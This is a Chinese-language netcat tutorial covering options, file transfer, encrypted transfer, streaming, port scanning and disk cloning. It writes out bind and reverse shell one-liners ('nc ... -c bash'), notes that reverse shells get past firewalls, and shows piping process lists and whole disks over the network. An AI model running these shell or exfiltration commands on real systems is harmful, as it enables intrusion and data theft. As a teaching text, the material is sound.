image.png
Netcat是什麼
NC(netcat)被稱爲網絡工具中的瑞士軍刀,體積小巧,但功能強大。
Nc主要功能
Nc可以在兩臺設備上面相互交互,即偵聽模式/傳輸模式
- Telnet功能
- 獲取banner信息
- 傳輸文本信息
- 傳輸文件/目錄
- 加密傳輸文件,默認不加密
- 遠程控制
- 加密所有流量
- 流媒體服務器
- 遠程克隆硬盤
具體介紹
在此之前,先看看參數說明。
nc -h
image.png
- -c shell commands shell模式
- -e filename 程序重定向 [危險!!]
- -b 允許廣播
- -d 無命令行界面,使用後臺模式
- -g gateway 源路由跳躍點, 不超過8
- -G num 源路由指示器: 4, 8, 12, ...
- -h 獲取幫助信息
- -i secs 延時設置,端口掃描時使用
- -k 設置在socket上的存活選項
- -l 監聽入站信息
- -n 以數字形式表示的IP地址
- -o file 使進制記錄
- -p port 本地端口
- -r 隨機本地和遠程的端口
- -q secs 在標準輸入且延遲後退出(翻譯的不是很好,後面實例介紹)
- -s addr 本地源地址
- -T tos 設置服務類型
- -t 以TELNET的形式應答入站請求
- -u UDP模式
- -v 顯示詳細信息 [使用=vv獲取更詳細的信息
- -w secs 連接超時設置
- -z I/O 模式 [掃描時使用]
其實常用的就幾個參數-n,-v,-l,-p,-q
.
NC遠程控制
這個比較有意思,我放在第一。
正向連接A:nc -lp port -c bash
B:nc ip port
A將自己的Bash發給B
反向連接A:nc -lp port
B:nc ip port -c bash
B將自己的Bash發給A
win下Bash換成cmd
image.png
image.png
image.png
通常反向連接 比較常用,因爲防火牆的存在,讓目標機主動發送shell
下面是Netcat Bind shell
的演示
hackerwing.com
使用NC進行信息收集
簡單的建立連接,就是偵聽模式和傳輸模式nc -l -p port
監聽指定端口號nc -nv ip port
連接對方tcp端口,默認情況下,雙方可以發送文本信息
收集目標機上的進程信息nc -l -p 4444 >wing.txt
將遠程發送過來的內容保存在本地Ps aux |nc -nv ip port -q 1
標準輸入完成後delay一秒鐘,會發送到偵聽端
wing
wing
wing
NC傳輸文件/目錄
nc -lp 4444 >1.txt
1.txt就是你要保存的文件名 自定義
nc -nv ip port <1.txt -q 1
將文件發送給偵聽端ps:
偵聽端的文件名最好按照文件本身來命名
tar -cvf - 目錄名/|nc -lp port -q 1
將目錄打包nc -nv ip port |tar -xvf -
將目錄解包
NC文件加密傳輸
apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt --flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1
理解:B將文件加密發送,A接受後先解密再保存到本地,B在1s
後退出.
主要是利用mcrypt進行加密
NC流媒體服務
A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A讓wing.MP4
這個文件成爲流的形式發送到B,B用mplayer播放,接收多少播放多少,指定緩存4000bytes。
NC端口掃描
nc -nvz ip 1-65535
image.png
默認使用tcp進行掃描
NC複製磁盤
A:nc -lp port |dd of=/dev/sda
B: dd if=/dev/sda | nc -nc ip port -q 1
If
是input filter
Of
是output filter
B將數據複製到A掛載的硬盤上